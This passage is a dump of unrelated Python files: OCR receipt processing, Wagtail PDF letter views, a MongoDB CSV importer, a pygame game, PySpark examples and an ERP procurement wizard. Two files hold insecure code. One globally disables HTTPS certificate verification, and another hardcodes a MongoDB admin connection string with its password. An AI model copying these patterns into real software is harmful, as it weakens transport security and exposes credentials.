approximate the contour\n peri = cv2.arcLength(c, True)\n approx = cv2.approxPolyDP(c, 0.1 * peri, True)\n # if our approximated contour has four points, then\n # we can assume that we have found our screen\n if len(approx) == 4:\n screenCnt = approx\n #break\n\n cv2.drawContours(img_gray, [screenCnt], -1, (0, 255, 0), 2)\n cv2.imshow(\"Game Boy Screen\", img_gray)\n cv2.waitKey(0)\n\n\n# 对图片进行裁剪、识别\ndef img_detect_tesseract(im):\n\n # 购买方名称及身份证号码/组织机构代码\n cv2.rectangle(im, (72, 80), (247, 112), (0, 255, 0), 2)\n cv2.imshow(\"购买方名称及身份证号码\", im)\n\n # 创建图像\n #emptyImage = np.zeros((175,32), np.uint8)\n # 扣图像\n # box = (72, 80, 247, 112)\n # region = im.crop(box)\n # region.show()\n # 保存图像\n # cv2.imwrite(\"D:\\\\nameandid.jpg\", img)\n\n # 发动机号码\n cv2.rectangle(im, (72, 162), (247, 185), (0, 255, 0), 2)\n cv2.imshow(\"发动机号码\", im)\n\n # 车辆识别代码/车架号码\n cv2.rectangle(im, (353, 160), (518, 183), (0, 255, 0), 2)\n cv2.imshow(\"车辆识别代码/车架号码\", im)\n\n # 价税合计(小写)\n cv2.rectangle(im, (425, 184), (466, 207), (0, 255, 0), 2)\n cv2.imshow(\"价税合计\", im)\n\n print(pytesseract.image_to_string(Image.open('nameandid.png')))\n\n\n\n\nif __name__ == \"__main__\":\n \n print(\"...图片文字识别系统...\")\n \n #F1 = \"172_79.jpg\"\n #F1 = \"633_88.jpg\"\n #F1 = \"22.png\"\n #F1 = \"reciept.jpg\"\n #F1 = \"reciept11.png\"\n #F1 = \"lion.png\"\n F1 = \"receiptrect.jpg\"\n\n # 对图片进行裁剪、识别\n #img = Image.open(F1)\n\n\n img = cv2.imread(F1)\n img_show_hook(\"原图\", img)\n # 改变图片的长宽比\n img = imutils.resize(img, width=516, height=331)\n img_detect_tesseract(img)\n\n #检测直线\n im = img_hough_lines(img)\n\n\n\n #img_show_hook(\"restest\", img)\n\n\n #test 找轮廓找矩形\n img_test(img)\n\n # 转换成灰度图\n img_gray = cv2.cvtColor(im,cv2.COLOR_BGR2GRAY)\n # img_show_hook(\"灰度图像\", img)\n # 得到二值图像\n sb_img = img_sobel_binary(im, (5,5))\n # img_show_hook(\"二值图像\", sb_img)\n # 腐蚀和膨胀后,找到外部轮廓\n contours = img_contour_extra(sb_img)\n # 选出候选区域\n cand_rect = img_contour_select(contours, img)\n for item in cand_rect:\n # 输出识别结果\n img_tesseract_detect(np.array(item), img_gray)\n \n\n# http://www.pyimagesearch.com/2014/03/10/building-pokedex-python-getting-started-step-1-6/\n","sub_path":"dushu2.py","file_name":"dushu2.py","file_ext":"py","file_size_in_byte":11747,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"322237134","text":"from wagtail.contrib.modeladmin.options import ModelAdmin, modeladmin_register, ModelAdminGroup\nfrom django.views.generic.base import TemplateView\nfrom django.urls import reverse\nfrom django.conf.urls import url\nfrom django.http import HttpResponse\nimport logging\nimport ssl\nfrom .models import CarnetDAdresse\nfrom wagtail.admin.menu import MenuItem\n\nif hasattr(ssl, '_create_unverified_context'):\n ssl._create_default_https_context = ssl._create_unverified_context\n\nlogger = logging.getLogger('smeadmin')\n\nfrom django.contrib.auth.models import Permission\n\n\nclass CarnetDAdresseAdmin(ModelAdmin):\n \"\"\"\n Carnet d'adresse - pour la gestion de l'envoi de lettre et de courrier\n \"\"\"\n model = CarnetDAdresse\n menu_label = \"SME - Carnet d'adresse\"\n menu_icon = \"mail\"\n\n\n\nclass EnveloppeView(TemplateView):\n \"\"\"\n Letter DL format pdf generation\n \"\"\"\n\n template_name = \"env.html\"\n\n def post(self, request, *args, **kwargs):\n response = HttpResponse(content_type='application/pdf')\n response['Content-Disposition'] = 'attachment; filename=\"env.pdf\"'\n from reportlab.lib.units import mm\n from reportlab.pdfgen import canvas\n if 'dest' in request.POST:\n dest = request.POST['dest']\n if 'exp' in request.POST:\n exp = request.POST['exp']\n canvas = canvas.Canvas(response)\n canvas.setFont(\"Helvetica\", 10)\n canvas.setPageSize((220 * mm, 110 * mm))\n\n index = 100\n for l in exp.splitlines():\n canvas.drawString(10 * mm, index * mm, l)\n index -= 5\n\n canvas.setFont(\"Helvetica\", 12)\n index = 40\n for l in dest.splitlines():\n canvas.drawString(130 * mm, index * mm, l)\n index -= 5\n\n canvas.save()\n\n return response\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['title'] = \"Gestion des enveloppes\"\n context['carnet'] = CarnetDAdresse.objects.all()\n return context\n\n def will_modify_explorer_page_queryset(self):\n return False\n\n def get_admin_urls_for_registration(self):\n urls = (url(r'^smeadmin/$', EnveloppeView.as_view(), name='view_env'),)\n return urls\n\n def get_menu_item(self, order=None):\n return MenuItem('SME - Enveloppe', reverse(\"view_env\"), classnames='icon icon-mail', order=10000)\n\n def get_permissions_for_registration(self):\n return Permission.objects.none()\n\n\n\n\nclass LettreView(TemplateView):\n \"\"\"\n Autogenerate letter - French format\n \"\"\"\n\n template_name = \"letter.html\"\n\n def post(self, request, *args, **kwargs):\n response = HttpResponse(content_type='application/pdf')\n response['Content-Disposition'] = 'attachment; filename=\"letter.pdf\"'\n from reportlab.lib.units import mm\n from reportlab.lib.pagesizes import A4\n from reportlab.platypus import Paragraph, SimpleDocTemplate, Spacer\n from reportlab.lib.styles import getSampleStyleSheet, ParagraphStyle\n from reportlab.lib.enums import TA_JUSTIFY, TA_RIGHT, TA_LEFT\n\n doc = SimpleDocTemplate(response, pagesize=A4)\n\n Env = []\n\n entete = request.POST['exp']\n mystyle = getSampleStyleSheet()\n right = ParagraphStyle(name='Justify', alignment=TA_LEFT, leftIndent=300, parent=mystyle['Normal'])\n Env.append(Paragraph(entete.replace('\\n', '
'), right))\n Env.append(Spacer(1, 3 * mm))\n right = ParagraphStyle(name='Justify', alignment=TA_LEFT, leftIndent=300, parent=mystyle['Normal'])\n from datetime import datetime\n t = datetime.now()\n import locale\n locale.setlocale(locale.LC_ALL, 'fr_FR.UTF-8')\n Env.append(Paragraph(\"À \" + request.POST['loc'] + \", le \" + t.strftime(\"%a %d %b %Y\"), right))\n Env.append(Spacer(1, 12 * mm))\n\n entete = request.POST['dest']\n mystyle = getSampleStyleSheet()\n dest = ParagraphStyle(name='Justify', alignment=TA_LEFT, leftIndent=20 * mm, parent=mystyle['Normal'])\n Env.append(Paragraph(\"À l'attention de : \" + entete.replace('\\n', '
'), dest))\n Env.append(Spacer(1, 12 * mm))\n\n entete = request.POST['base']\n entete = entete.replace('$DEST$', request.POST['dest'])\n mystyle = getSampleStyleSheet()\n base = ParagraphStyle(name='Base', alignment=TA_JUSTIFY, leftIndent=0, parent=mystyle['Normal'])\n Env.append(Paragraph(entete.replace('\\n', '
'), base))\n doc.build(Env)\n\n return response\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['title'] = \"Gestion des lettres\"\n context['carnet'] = CarnetDAdresse.objects.all()\n return context\n\n def will_modify_explorer_page_queryset(self):\n return False\n\n def get_admin_urls_for_registration(self):\n urls = (url(r'^smeadmin-letter/$', LettreView.as_view(), name='view_lettre'),)\n return urls\n\n def get_menu_item(self, order=None):\n return MenuItem('SME - Lettre', reverse(\"view_lettre\"), classnames='icon icon-edit', order=10000)\n\n def get_permissions_for_registration(self):\n return Permission.objects.none()\n\n\nclass SMEAdminGroup(ModelAdminGroup):\n \"\"\"\n SME Admin menu\n \"\"\"\n menu_label = \"SMEAdmin\"\n items = (CarnetDAdresseAdmin,EnveloppeView, LettreView)\n\n# Register button\nmodeladmin_register(SMEAdminGroup)\n\n","sub_path":"smeadmin/wagtail_hooks.py","file_name":"wagtail_hooks.py","file_ext":"py","file_size_in_byte":5477,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"272817964","text":"\n\nfrom pymongo import MongoClient\nimport pandas as pd\nimport json\n\nmongo_client = MongoClient(\"mongodb+srv://db-admin-satyaki:admin@cluster0.kkrlk.mongodb.net/\"\n \"MyFirstDatabase?retryWrites=true&w=majority\")\ndatabase = 'TestDb2'\n\n\ndef mongoimport(csv_path, db_name, coll_name):\n\n db = mongo_client[db_name]\n log_collection = db['logging']\n existing_collection = db[coll_name]\n existing_df = existing_collection.find_one()\n\n new_df = pd.read_csv(csv_path)\n\n if not existing_df:\n coll = db[coll_name]\n payload = json.loads(new_df.to_json(orient='records'))\n coll.insert_many(payload)\n return \"All items in csv inserted\"\n\n else:\n existing_df = pd.DataFrame(list(db[coll_name].find()))\n del existing_df['_id']\n\n if new_df.columns.values.tolist() != existing_df.columns.values.tolist():\n print(\"Column names do not match\")\n\n log = {\"file_path\": csv_path,\n \"error\": \"Column names do not match\",\n \"action\": \"Rejected\"\n }\n log_collection.insert_one(log)\n return \"Column names do not match\"\n\n elif new_df.equals(existing_df):\n print(\"csv is already uploaded\")\n\n log = {\"file_path\": csv_path,\n \"error\": \"exact collection already exists\",\n \"action\": \"Rejected\"\n }\n log_collection.insert_one(log)\n return \"csv is already uploaded\"\n\n else:\n merged_df = existing_df.merge(new_df, indicator=True, how='outer')\n changed_rows_df = merged_df[merged_df['_merge'] == 'right_only']\n new_rows = changed_rows_df.drop('_merge', axis=1)\n\n payload = json.loads(new_rows.to_json(orient='records'))\n if not payload:\n\n print(\"DB contains extra items than is given by the csv. DB data was not changed\")\n \"\"\"Log\"\"\"\n log = {\"file_path\": csv_path,\n \"error\": \"DB contains extra items than is given by the csv\",\n \"action\": \"DB data was not changed\"\n }\n log_collection.insert_one(log)\n return \"DB contains extra items than is given by the csv. DB data was not changed\"\n\n else:\n existing_collection.insert_many(payload)\n\n message = \"Part of the csv is new. {} new items are appended to collection\".format(len(new_rows))\n\n print(message)\n \"\"\"Log\"\"\"\n log = {\"file_path\": csv_path,\n \"error\": \"Part of the csv is new\",\n \"action\": message\n }\n log_collection.insert_one(log)\n return message\n\n\nif __name__ == \"__main__\":\n mongoimport('../csv/1/conversions_1.csv', database, 'conversions_1')\n # mongoimport('../csv/2/conversions_2.csv', database, 'conversions_2')\n # mongoimport('../csv/3/conversions_3.csv', database, 'conversions_3')\n # mongoimport('../csv/4/conversions_4.csv', database, 'conversions_4')\n #\n #\n # mongoimport('../csv/1/clicks_1.csv', database, 'clicks_1')\n # mongoimport('../csv/2/clicks_2.csv', database, 'clicks_2')\n # mongoimport('../csv/3/clicks_3.csv', database, 'clicks_3')\n # mongoimport('../csv/4/clicks_4.csv', database, 'clicks_4')\n","sub_path":"prod/populate_db_script.py","file_name":"populate_db_script.py","file_ext":"py","file_size_in_byte":3432,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"427202328","text":"#!/usr/bin/env python\n\nimport datetime\nimport sys\n\nif __name__ == \"__main__\":\n\t# this class should extend a framework base class that\n\t# provides default implementations of important methods\n\timport sys\n\tsys.path.append(\"../\")\n\tfrom CondCore.Utilities.CondDBFW import querying_framework_api\n\timport CondCore.Utilities.CondDBFW.data_sources, CondCore.Utilities.CondDBFW.data_formats as format\n\tfrom CondCore.Utilities.CondDBFW.querying import connect\n\n\tclass query_script():\n\n\t\tdef script(self, connection):\n\t\t\teverything = connection.search_everything(sys.argv[1])\n\t\t\treturn everything\n\n\tsecrets_file = \"/afs/cern.ch/cms/DB/conddb/.cms_cond/netrc\"\n\tsecrets_file_1 = \"netrc_test\"\n\n\tconnection_data = {\"db_alias\" : \"orapro\", \"host\" : \"oracle\", \"schema\" : \"cms_conditions\", \"secrets\" : secrets_file}\n\tqf = querying_framework_api(connection_data)\n\tdata = qf.run_script(query_script())\n\n\tdata.get(\"global_tags\").as_table()\n\tdata.get(\"tags\").as_table()\n\tdata.get(\"iovs\").as_table()\n\tdata.get(\"payloads\").as_table()","sub_path":"CondCore/Utilities/python/CondDBFW/examples/search.py","file_name":"search.py","file_ext":"py","file_size_in_byte":1008,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"167524717","text":"import sys, datetime, os\nfrom create_folders import CREATE_FOLDER\nimport traceback\n\ndef ERROR(fun_name):\n logs = 'logs'\n CREATE_FOLDER(logs)\n path_to_err = os.getcwd() + '\\\\' + logs + '\\\\error.txt'\n with open(path_to_err, 'a') as e:\n text = fun_name + ':\\t' + str(datetime.datetime.now()) + '\\t==>\\t' + str(sys.exc_info()[0]) + '\\n'\n text_2 = str(traceback.format_exc())\n print(text)\n print(traceback.format_exc())\n e.write(text)\n e.write(text_2)\n","sub_path":"errors.py","file_name":"errors.py","file_ext":"py","file_size_in_byte":501,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"646328945","text":"# -*- coding: utf-8 -*-\n##############################################################################\n#\n# OpenERP, Open Source Management Solution\n# Copyright (C) 2004-2010 Tiny SPRL ().\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU Affero General Public License as\n# published by the Free Software Foundation, either version 3 of the\n# License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU Affero General Public License for more details.\n#\n# You should have received a copy of the GNU Affero General Public License\n# along with this program. If not, see .\n#\n##############################################################################\n\nfrom openerp import netsvc\nfrom openerp.osv import fields, osv\nfrom openerp.tools.translate import _\nimport openerp.addons.decimal_precision as dp\nfrom math import ceil\n\nclass raw_material_procurement(osv.osv_memory):\n _name = \"raw.material.procurement\"\n _description = \"Raw Material Procurement\"\n\n _columns = {\n 'line_ids': fields.one2many('raw.material.procurement.line', 'raw_id', 'Products', ondelete='set null'),\n }\n\n def default_get(self, cr, uid, fields, context):\n \"\"\" To get default values for the object.\n @param self: The object pointer.\n @param cr: A database cursor\n @param uid: ID of the user currently logged in\n @param fields: List of fields for which we want default values\n @param context: A standard dictionary\n @return: A dictionary which of fields with values.\n \"\"\"\n line_obj = self.pool.get('raw.material.procurement.line')\n res = super(raw_material_procurement, self).default_get(cr, uid, fields, context=context)\n line_ids = []\n for forecast in self.pool.get('sale.forecast.line').browse(cr, uid, context['active_ids']):\n proc_for = forecast.product_uom_qty - forecast.raw_material_qty\n val = {'product_id':forecast.product_id.id,'product_uom_qty':proc_for}\n line_ids.append(line_obj.create(cr, uid, val))\n res.update({'line_ids':line_ids})\n return res\n\n ###########################################################################################\n # Create Procurements Orders\n ###########################################################################################\n def create_procurement(self, cr, uid, ids, context=None):\n \"\"\" Creates procurement order for selected product.\n @param self: The object pointer.\n @param cr: A database cursor\n @param uid: ID of the user currently logged in\n @param ids: List of IDs selected\n @param context: A standard dictionary\n @return: A dictionary which loads Procurement orders form view.\n \"\"\"\n user = self.pool.get('res.users').browse(cr, uid, uid, context=context).login\n proc_obj = self.pool.get('procurement.order')\n prod_obj = self.pool.get('product.product')\n ord_obj = self.pool.get('stock.warehouse.orderpoint')\n wf_service = netsvc.LocalService(\"workflow\")\n for_obj = self.pool.get('sale.forecast.line')\n data = self.read(cr, uid, ids, [], context=context)[0]\n procure_ids = []\n vals = {}\n for forecast in for_obj.browse(cr, uid, context.get('active_ids',False), context=context):\n prod_qty = {forecast.product_id.id:forecast.product_uom_qty - forecast.raw_material_qty}\n raws = for_obj.get_all_raw(cr, uid, prod_qty, context=context) # All raw material for 1 product\n for raw_id in raws.keys():\n key = forecast.date_stop + str(raw_id)\n if vals.get(key,False):\n vals[key]['product_qty'] += raws[raw_id] \n else:\n vals[key] = ({'name':'INT: '+str(user),\n 'date_planned': forecast.date_mrp_planned,\n 'product_id': raw_id,\n 'product_qty': ceil(raws[raw_id]), \n 'product_uom': prod_obj.browse(cr, uid, raw_id).uom_id.id,\n 'location_id': forecast.lot_stock_id.id,\n 'procure_method':'make_to_order'})\n for v in vals.keys():\n prod = prod_obj.browse(cr, uid, vals[v]['product_id'])\n context.update({'location': vals[v]['location_id'], 'to_date': vals[v]['date_planned']})\n virtual_available = prod_obj.browse(cr, uid, prod.id, context=context).virtual_available\n if (virtual_available - vals[v]['product_qty']) >= 0:\n vals.pop(v,None)\n else:\n op = ord_obj.search(cr, uid, [('product_id','=',prod.id)], limit=1)\n if not op:\n raise osv.except_osv(_('Missing Definition!'), _('No order point defined for product %s') % ('['+prod.code+'] '+prod.name))\n for v in vals.keys():\n prod = prod_obj.browse(cr, uid, vals[v]['product_id'])\n context.update({'location': vals[v]['location_id'], 'to_date': vals[v]['date_planned']})\n virtual_available = prod_obj.browse(cr, uid, prod.id, context=context).virtual_available\n op = ord_obj.browse(cr, uid, ord_obj.search(cr, uid, [('product_id','=',prod.id)], limit=1)[0])\n qty = float(vals[v]['product_qty'] - virtual_available)\n qty_multiple = op.qty_multiple\n sub = qty % qty_multiple\n if sub > 0:\n qty += qty_multiple - sub\n if op.product_id.type not in ('consu'):\n if op.procurement_draft_ids:\n # Check draft procurement related to this order point\n pro_ids = [x.id for x in op.procurement_draft_ids]\n procure_datas = proc_obj.read(\n cr, uid, pro_ids, ['id', 'product_qty'], context=context)\n to_procure = qty\n for proc_data in procure_datas:\n if to_procure >= proc_data['product_qty']:\n wf_service.trg_validate(uid, 'procurement.order', proc_data['id'], 'button_confirm', cr)\n proc_obj.write(cr, uid, [proc_data['id']], {'origin': op.name}, context=context)\n to_procure -= proc_data['product_qty']\n if not to_procure:\n break\n qty = to_procure\n vals[v]['product_qty'] = qty\n procure_id = proc_obj.create(cr, uid, vals[v])\n wf_service.trg_validate(uid, 'procurement.order', procure_id, 'button_confirm', cr)\n procure_ids.append(procure_id)\n## proc_obj.run_scheduler(cr, uid)\n return {\n 'view_type': 'form',\n 'view_mode': 'tree,form',\n 'res_model': 'procurement.order',\n 'type': 'ir.actions.act_window',\n 'context': {},\n 'domain': [('id','in',procure_ids)] or [],\n }\n\n\nraw_material_procurement()\n\nclass raw_material_procurement_line(osv.osv_memory):\n _name = \"raw.material.procurement.line\"\n _description = \"Sale Forecast Raw Material Line\"\n\n _columns = {\n 'raw_id': fields.many2one('raw.material.procurement', 'Forecast Raw Material'),\n 'product_uom_qty': fields.float('Sale Order Quantity', digits_compute= dp.get_precision('Product UoS'), readonly=True),\n 'product_id': fields.many2one('product.product', 'Product', readonly=True),\n }\nraw_material_procurement_line()\n\n\n# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:\n","sub_path":"bias_sale_mrp_forecast/wizard/create_procurement_order.py","file_name":"create_procurement_order.py","file_ext":"py","file_size_in_byte":7966,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"176409640","text":"import pygame\r\nimport random\r\nfrom myblock import *\r\nfrom player import * \r\nfrom hipster import *\r\nfrom ghoul import *\r\nimport myconst as const\r\n\r\n# Define some colors\r\nblack = ( 0, 0, 0)\r\nwhite = ( 255, 255, 255)\r\nred = ( 255, 0, 0)\r\ngrey = ( 214, 214, 206)\r\n \r\n# Initialize Pygame\r\npygame.init()\r\npygame.mixer.init()\r\n\r\nsize = [const.screen_width,const.screen_height]\r\nscreen = pygame.display.set_mode(size)\r\npygame.display.set_caption(const.screen_title)\r\n\r\n# Helper functions\r\ndef showBannerText(phrase):\r\n y = const.screen_height / 2\r\n pygame.draw.line(screen, red, [0, y], [const.screen_width, y], 200)\r\n font = pygame.font.Font(const.screen_font, 40)\r\n text = font.render(phrase,True, grey)\r\n screen.blit(text, [150, y-20]) \r\n \r\n \r\n# This is a list of 'sprites'. Each block in the program is\r\n# added to this list. The list is managed by a class called 'Group.'\r\nvictim_group = pygame.sprite.Group()\r\nghoul_group = pygame.sprite.Group()\r\n\r\n# This is a list of every sprite. All blocks and the player block as well.\r\nall_sprites_list = pygame.sprite.Group()\r\n\r\n# Need my own indexed list to keep track of ghouls\r\nghoul_indexed_list = []\r\n\r\n# victim image list\r\nvictim_images = const.hipster_img_list\r\n\r\n# create hipsters\r\nfor i in range(const.initHipsters):\r\n victim = Hipster(random.choice(victim_images),\r\n random.randrange(const.screen_width),\r\n random.randrange(const.screen_height))\r\n \r\n # Add the block to the list of objects\r\n victim_group.add(victim)\r\n all_sprites_list.add(victim)\r\n\r\n# create bad sprites\r\nfor i in range(const.initGhouls):\r\n block = Ghoul(const.ghoul_img_src, random.randrange(const.screen_width), random.randrange(const.screen_height))\r\n \r\n # Set a random location for the block\r\n block.rect.x = random.randrange(const.screen_width)\r\n block.rect.y = random.randrange(const.screen_height)\r\n \r\n # Add the block to the list of objects\r\n ghoul_group.add(block)\r\n all_sprites_list.add(block)\r\n ghoul_indexed_list.append(block)\r\n \r\n# Create a player\r\nplayer = Player(const.player_img_src, const.attack_img_src, 350, 250)\r\nall_sprites_list.add(player)\r\n\r\n#Loop until the user clicks the close button.\r\ndone=False\r\n \r\n# Used to manage how fast the screen updates\r\nclock=pygame.time.Clock()\r\n \r\nscore = 0\r\n \r\n# -------- Main Program Loop -----------\r\nwhile done == False:\r\n # ALL EVENT PROCESSING SHOULD GO BELOW THIS COMMENT\r\n for event in pygame.event.get(): # User did something\r\n if event.type == pygame.QUIT: # If user clicked close\r\n done=True # Flag that we are done so we exit this loop\r\n\r\n # Set the speed based on the key pressed\r\n vp = const.vp\r\n \r\n if event.type == pygame.KEYDOWN:\r\n \r\n if event.key == pygame.K_LEFT:\r\n player.changespeed(vp*-1,0)\r\n if event.key == pygame.K_RIGHT:\r\n player.changespeed(vp,0)\r\n if event.key == pygame.K_UP:\r\n player.changespeed(0,vp*-1)\r\n if event.key == pygame.K_DOWN:\r\n player.changespeed(0,vp)\r\n \r\n \r\n #attack using X\r\n if event.key == pygame.K_x:\r\n player.attack(screen, victim_group)\r\n \r\n #use items by pressing Z \r\n if event.key == pygame.K_z:\r\n \r\n print('buying resurrect')\r\n reztarget = player.useLoot(screen, ghoul_indexed_list)\r\n \r\n #if can rez, \r\n if reztarget != None:\r\n \r\n #kill the reztarget after getting its coords\r\n rezx, rezy = reztarget.rect.x, reztarget.rect.y\r\n reztarget.kill()\r\n \r\n #create new hipster in ghoul's place \r\n undead = Hipster(random.choice(victim_images),rezx,rezy)\r\n victim_group.add(undead)\r\n all_sprites_list.add(undead)\r\n ghoul_indexed_list.append(undead)\r\n \r\n # Reset speed when key goes up \r\n if event.type == pygame.KEYUP:\r\n if event.key == pygame.K_LEFT:\r\n player.changespeed(vp,0)\r\n if event.key == pygame.K_RIGHT:\r\n player.changespeed(vp*-1,0)\r\n if event.key == pygame.K_UP:\r\n player.changespeed(0,vp)\r\n if event.key == pygame.K_DOWN:\r\n player.changespeed(0,vp*-1)\r\n \r\n # Reset player img \r\n if event.key == pygame.K_x:\r\n player.revert() \r\n\r\n # -----end EVENT PROCESSING-----\r\n \r\n # -----begin GAME LOGIC---------\r\n \r\n numVictimsAlive = 0\r\n # make hipsters move\r\n for victim in victim_group:\r\n if victim.state == 'alive':\r\n victim.vertigo(const.plat_left, const.plat_right, const.plat_top, const.plat_bot)\r\n victim.noOverlap(victim_group)\r\n numVictimsAlive += 1\r\n victim.update()\r\n \r\n # check if victim falls off platform, which is success\r\n if victim.fallsOff():\r\n score += 1\r\n player.updateGPA(score, const.initGPA, const.maxGPA)\r\n #spawn new ghoul at spawn points in mid-air\r\n spawn = Ghoul(const.ghoul_img_src, const.ghoul_spawn_x_offset, random.randrange(const.screen_height))\r\n #add new ghoul to lists\r\n ghoul_group.add(spawn)\r\n all_sprites_list.add(spawn)\r\n ghoul_indexed_list.append(spawn)\r\n \r\n # make ghouls move towards player\r\n for ghoul in ghoul_group:\r\n ghoul.eatbrains(screen, player)\r\n ghoul.noOverlap(ghoul_group)\r\n ghoul.update()\r\n \r\n # make sure player can't walk through walls\r\n player.hitWall(0, const.plat_right, const.plat_top - const.block_height_y_offset, const.plat_bot)\r\n player.update() \r\n # -----end GAME LOGIC-------------\r\n\r\n # -----begin CODE TO DRAW---------\r\n \r\n # Clear the screen and fill black\r\n screen.fill(black)\r\n \r\n # Draw the background\r\n bg = pygame.image.load(const.screen_bg_img_src).convert()\r\n screen.blit(bg,[0,0])\r\n \r\n # Draw the platform\r\n pygame.draw.line(screen, grey, [const.plat_left, const.plat_ymid], [const.plat_right, const.plat_ymid], const.plat_height)\r\n \r\n \r\n # See if the player block has collided with a victim.\r\n # set to False so that we don't remove the victim\r\n good_hit_list = pygame.sprite.spritecollide(player, victim_group, False)\r\n\r\n # See if player has collided with bad sprite.\r\n # set to True so that we remove the ghoul that collided\r\n bad_hit_list = pygame.sprite.spritecollide(player, ghoul_group, True)\r\n \r\n # Check the list of collisions.\r\n for block in good_hit_list:\r\n goodsound = pygame.mixer.Sound(const.sound_good)\r\n goodsound.play()\r\n\r\n for block in bad_hit_list:\r\n player.gpa -= 1\r\n badsound = pygame.mixer.Sound(const.sound_bad)\r\n badsound.play()\r\n \r\n # Game Over if GPA below 2\r\n if player.gpa <= const.failGPA:\r\n showBannerText(const.text_gameover_gpa)\r\n \r\n # Draw all the sprites\r\n all_sprites_list.draw(screen)\r\n \r\n # Limit to 20 frames per second\r\n clock.tick(20)\r\n\r\n # Print score to screen\r\n font = pygame.font.Font(const.screen_sidebar_font, 18)\r\n\r\n text = font.render('Attack: X',True,white)\r\n screen.blit(text, [620,350])\r\n \r\n text = font.render('Spawn: Z',True,white)\r\n screen.blit(text, [620,370])\r\n \r\n #victim\r\n myscore = 'Victims:'+str(score)\r\n text = font.render(myscore,True,white)\r\n screen.blit(text, [620,250])\r\n \r\n #plunder amount\r\n text = font.render('Plunder: $'+str(player.inventory),True,white)\r\n screen.blit(text, [620,270])\r\n\r\n #player gpa\r\n text = font.render('GPA:'+str(player.gpa),True,white)\r\n screen.blit(text, [620,290]) \r\n \r\n # Game Over when player falls off\r\n if player.fallsOff():\r\n showBannerText(const.text_gameover_fell) \r\n\r\n # -----end CODE TO DRAW --------\r\n\r\n # Go ahead and update the screen with what we've drawn.\r\n pygame.display.flip()\r\n \r\npygame.quit()","sub_path":"GAME.py","file_name":"GAME.py","file_ext":"py","file_size_in_byte":8348,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"9278670","text":"\"\"\"\nA simple application shows how to load(or read) data into spark dataframe\nRun with spark2-submit simple_with_session.py\nAuthor- Andy\n\"\"\"\nfrom pyspark.sql import SparkSession\nfrom pyspark.sql.types import *\n\ndef readdata(spark):\n # Create a dataframe manually, from a list\n df = spark.createDataFrame([(1,'Andy'),(2,'mandy'),(3,'sandy')])\n print(type(df))\n df.show()\n df.printSchema()\n \n # Loading DataFrames: CSV method 1 using spark.read.csv('path')\n player_df =spark.read.option('header', True).csv('gs://dataproc-staging-us-east1-548550014762-rie5an4z/notebooks/jupyter/player.csv')\n player_df.show(5, False)\n player_df.printSchema()\n \n # Loading DataFrames: CSV method 2 using spark.read.format('csv').load('path')\n player_df = spark.read.format(\"csv\").load('gs://dataproc-staging-us-east1-548550014762-rie5an4z/notebooks/jupyter/player.csv')\n player_df.show(5, False)\n player_df.printSchema()\n\n # Loading JSON\n people_jsondf = spark.read.json('gs://dataproc-staging-us-east1-548550014762-rie5an4z/notebooks/jupyter/people.json')\n people_jsondf.printSchema()\n people_jsondf.show(5)\n \n # In the same way we can upload other formats such as parquet etc \n \n # Infer Schema\n player_headersdF = spark.read.option(\"inferSchema\", \"true\").option('header', True).csv('gs://dataproc-staging-us-east1-548550014762-rie5an4z/notebooks/jupyter/player.csv')\n player_headersdF.printSchema()\n player_headersdF.show(5)\n\n\n # Best practice it is explicitly define the schema\n playerSchema = \\\n StructType([\n StructField(\"id\", IntegerType()),\n StructField(\"player_api_id\", IntegerType()),\n StructField(\"player_name\", StringType()),\n StructField(\"player_fifa_api_id\", IntegerType()),\n StructField(\"birthday\", TimestampType()), \n StructField(\"height\", FloatType()),\n StructField(\"weight\", FloatType())\n ])\n\n player_schemadf = spark.read.schema(playerSchema).csv('gs://dataproc-staging-us-east1-548550014762-rie5an4z/notebooks/jupyter/player.csv')\n player_schemadf.printSchema()\n player_schemadf.schema\n player_schemadf.dtypes\n player_schemadf.columns\n\n\n\nif __name__ == \"__main__\":\n spark = SparkSession.builder.appName(\"Simple with Session\").getOrCreate()\n readdata(spark)\n \n spark.stop()\n","sub_path":"Code/load-df.py","file_name":"load-df.py","file_ext":"py","file_size_in_byte":2345,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"646471057","text":"# -*- coding: utf-8 -*-\n\"\"\"\nSpyder Editor\n\nThis is a temporary script file.\n\"\"\"\nimport sys\nsys.path.append('../')\n\n\n#import parameters\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\ndef InletArea(m_sulphur,airtofuel,t_cruise,M,a_cruise,rho):\n #function that calculates the required inlet area of the burner, using the altitude, sulphur mass, cruise mach number\n #and air to fuel ratio as an input\n \n v=a_cruise*M #cruise speed \n m_dotS=m_sulphur/t_cruise #mass flow of sulphur [kg/s]\n m_dotair=(airtofuel)*m_dotS #required air mass flow [kg/s]\n m_dottotal=m_dotS+m_dotair\n return m_dottotal/v/rho #required inlet area [m2]\n\n\ndef SulphursMassdisprate(m_sulphur,t_cruise,M_cruise,a_cruise):\n #outputs Sulphur dispersion rate\n #input total sulphur mass, cruise time, cruise Mach number and speed of sound during cruise\n \n v=a_cruise*M_cruise #cruisespeed [m/s]\n return m_sulphur/t_cruise/v #[kg/m]\n\ndef BurnerMass(m_sulphur,t_cruise,airtofuel):\n #function that calculates the burner mass, using the sulphur mass, cruise time and air to fuel ratio\n \n m_dotS=m_sulphur/t_cruise #mass flow of sulphur [kg/s]\n 